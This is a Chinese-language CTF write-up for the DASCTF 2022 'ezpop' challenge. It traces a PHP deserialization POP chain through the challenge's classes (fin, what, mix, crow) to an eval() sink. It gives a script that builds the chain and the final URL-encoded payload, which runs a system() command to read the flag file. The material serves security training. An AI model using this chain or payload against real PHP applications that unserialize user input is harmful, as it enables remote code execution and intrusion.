1. 程式人生 > 其它 >[2022DASCTF]ezpop

[2022DASCTF]ezpop

ezpop

開啟環境,直接獲得原始碼:

 <?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

?>

看見unserialize,判斷這題是反序列化,然後找切入口,看了一眼,沒看見wakeup函式,所以得找其他切入口。

發現fin類中有__destruct解構函式,從此切入,直接new fin()

在裡面有echo操作,推測會用到__toString魔術方法。

this->f1這是一個切入口,可以在這裡new一個物件,即f1=new what()

接著看what類中的__toString方法,看到this->a,又是一個切入點,然後找哪個類裡有run這個方法的,去new一下這個類,發現mix裡面有run,但fin裡面也有run,兩個方法一模一樣,用誰無所謂,這裡a=new mix()

此時程式已經進入mix類中的run方法,下面就要用到__invoke這個魔術方法,即將類當做函式使用。

自然而然會想到去new一個crow,即m1=new crow()

此時程式已經進入crow類中的__invoke方法,這個方法裡最後會去指向一個world函式,但是搜遍全文未發現該函式。

所以下面就要用到__call這個魔術方法,該方法會在程式找不到函式時被呼叫,所以v1=new fin()

然後在該方法中的切入點又為this->f1,他最終會去呼叫get_flag()這個方法,所以f1=new mix()

最終只要給m1賦值命令就可以了,前面的註釋符可以使用回車繞過。

過程梳理:

//切入點
class fin
{
    public $f1;
    public function __destruct()
    {
        echo $this->f1 . '114514';
    }
}
//給f1這裡建立一個物件new waht()
class what
{
    public $a;
    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
//給a這裡再建立一個物件new mix()
class mix
{
    public $m1;
    public function run()
    {
        ($this->m1)();
    }
}
//給m1這裡再建立一個物件new crow()
class crow
{
    public $v1;
    public $v2;
    public function __invoke()
    {
        $this->v1->world();
    }
}
//給v1這裡再建立一個物件new fin()
class fin
{
    public $f1;
    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }
}
//給f1這裡再建立一個物件new mix()
class mix
{
    public $m1;
    public function get_flag()
    {
        eval('#' . $this->m1);
    }
}
//最後給m1賦值執行命令

生成序列化字串:

<?php
class crow
{
    public $v1;
    public $v2;
}

class fin
{
    public $f1;
}

class what
{
    public $a;
}
class mix
{
    public $m1;
}

$a = new fin();
$b = new what();
$c = new mix();
$d = new crow();

$a->f1 = $b;
$b->a = $c;
$c->m1 = $d;

$a2 = new fin();
$c2 = new mix();

$d->v1 = $a2;
$a2->f1 = $c2;
$c2->m1 = "
system(\"cat H0mvz850*.php\");";

echo urlencode(serialize($a));
?>

結果:

O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A29%3A%22%0Asystem%28%22cat+H0mvz850%2A.php%22%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7D

總結:

題目裡的uuid怕是唬人的,正常構造pop鏈,執行命令即可。